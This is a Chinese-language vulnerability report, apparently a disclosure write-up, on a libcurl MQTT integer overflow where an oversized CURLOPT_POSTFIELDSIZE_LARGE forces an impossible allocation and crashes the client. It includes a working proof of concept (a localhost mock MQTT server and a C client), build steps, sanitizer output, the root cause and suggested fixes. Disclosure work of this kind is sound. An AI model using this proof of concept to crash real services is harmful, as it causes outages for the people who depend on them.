libcurl MQTT CURLOPT_POSTFIELDSIZE_LARGE 整数溢出导致即时拒绝服务漏洞分析

本文详细分析了libcurl MQTT组件中CURLOPT_POSTFIELDSIZE_LARGE参数整数溢出漏洞,攻击者可通过设置超大值导致内存分配失败,造成服务拒绝。包含漏洞原理、攻击场景、PoC代码和修复建议。

libcurl MQTT CURLOPT_POSTFIELDSIZE_LARGE 溢出导致即时DoS

摘要

攻击者可以通过为CURLOPT_POSTFIELDSIZE_LARGE设置过大的值,使任何使用libcurl MQTT支持的应用程序崩溃或强制中止。MQTT发布逻辑(lib/mqtt.c::mqtt_publish)信任此值而不验证其是否符合协议的最大剩余长度(268,435,455),也不检查算术溢出。结果,它尝试分配一个不可能的大缓冲区(数EB),并立即失败,导致进程终止并引发拒绝服务。

影响

可用性:任何允许不受信任的输入影响CURLOPT_POSTFIELDSIZE(_LARGE)的服务(例如,用户控制的消息长度或代理的MQTT请求)都可以立即被关闭。单个恶意请求就足以触发崩溃。

稳定性:即使在非ASan构建中,调用始终返回CURLE_OUT_OF_MEMORY;将此视为致命的应用程序(MQTT生产者的常见情况)将关闭。当使用清理器编译时,进程会因"分配大小过大"断言而立即中止。

范围:不需要身份验证或中间人能力。只需让客户端构造一个具有巨大长度值的发布请求即可触发该错误。

攻击场景

  1. 攻击者说服基于libcurl的MQTT客户端或网关发布一个消息,其大小字段设置为约4 EB(或任何超过0x0FFFFFFF的值)。
  2. 客户端调用curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)并最终调用curl_easy_perform()
  3. mqtt_publish内部,libcurl将MQTT剩余长度计算为payloadlen + topiclen + 2,这会绕回或超过MQTT规范限制。然后调用malloc(remaininglength + 1 + encodelen)
  4. malloc()无法满足请求并中止(ASan)或返回NULL(如果allocator_may_return_null=1)。无论哪种情况,应用程序都会死亡或进入失败状态,导致拒绝服务,而从未将有效负载发送到代理。

概念验证

需要两个文件:一个最小的MQTT模拟服务器和一个设置超大有效负载长度的客户端PoC。

mqtt_server.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import socket

HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(1)
    print(f"[server] listening on {HOST}:{PORT}")
    conn, addr = s.accept()
    with conn:
        print(f"[server] accepted connection from {addr}")
        data = conn.recv(1024)
        print(f"[server] received {len(data)} bytes")
        conn.sendall(CONNACK)
        print("[server] sent CONNACK")
        conn.recv(1024)
        print("[server] received publish (possibly truncated)")

mqtt_overflow.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <curl/curl.h>
#include <stdio.h>

int main(void)
{
  CURL *curl = curl_easy_init();
  if(!curl) {
    fprintf(stderr, "curl_easy_init failed\n");
    return 1;
  }

  const char payload[] = "X";                       /* 实际数据:1字节 */
  const curl_off_t fake_size = ((curl_off_t)1 << 62); /* 广告约4 EB */

  curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
  curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
  curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
  curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
  curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
  curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

  fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);

  CURLcode res = curl_easy_perform(curl);
  fprintf(stderr, "curl_easy_perform: %d\n", res);

  curl_easy_cleanup(curl);
  return (int)res;
}

构建与运行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# 使用CMake配置和构建启用MQTT的libcurl
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8

# 使用AddressSanitizer编译PoC
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
  -Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
  build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow

# 启动模拟服务器并执行PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow

观察到的输出(ASan构建)

1
2
3
4
5
6
7
[*] requesting payload size: 4611686018427387904
*   Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013 
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING

观察到的输出(分配器可能返回NULL)

1
2
3
4
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27

模拟服务器日志确认连接已打开,返回了CONNACK,客户端在尝试发布时立即终止。

根本原因

摘自lib/mqtt.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);

pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
  result = CURLE_OUT_OF_MEMORY;
  goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
  • payloadlen直接来自CURLOPT_POSTFIELDSIZE_LARGE
  • 没有检查payloadlen是否在MQTT规范(最大剩余长度0x0FFFFFFF)或任何安全内存边界内。
  • remaininglength + 1 + encodelensize_t中计算,因此它可以绕回或超过实际内存限制。
  • 失败时,函数永远不会到达发布阶段,有效地在发送任何数据之前使客户端崩溃。

推荐的缓解措施

  1. 验证payloadlen:拒绝任何payloadlen > 0x0FFFFFFF - (topiclen + 2)的请求,并返回CURLE_BAD_FUNCTION_ARGUMENT
  2. 溢出保护:在调用malloc之前,确保总和remaininglength + 1 + encodelen不会溢出并适合合理的边界。
  3. 协议合规性:考虑将mqtt_encode_len限制为4字节,并在编码长度超过MQTT的剩余长度限制时中止。
  4. 回归测试:添加一个单元或集成测试,尝试设置过大的CURLOPT_POSTFIELDSIZE_LARGE并确保调用优雅地失败。

环境

  • macOS 15.0 (24A335)
  • Apple Clang 17.0.0.17000319
  • curl 8.17.1-dev(启用MQTT的CMake构建)
  • AddressSanitizer(默认设置)和没有ASan的libc运行时

严重性

中等 — 通过整数溢出/不受控制的资源消耗导致的拒绝服务(CWE-190 / CWE-400)。

参考资料

  • MQTT规范(v3.1.1)— 剩余长度字段限制为268,435,455
  • curl安全程序:https://hackerone.com/curl

影响

  • 远程攻击者可以通过广告超大的MQTT有效负载来强制终止任何基于libcurl的MQTT客户端或服务。
  • 畸形请求导致libcurl尝试分配数EB,这会立即中止进程(ASan)或返回CURLE_OUT_OF_MEMORY,有效地拒绝服务。
  • 不需要身份验证或特殊的网络位置;单个恶意发布请求就足以使应用程序崩溃。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计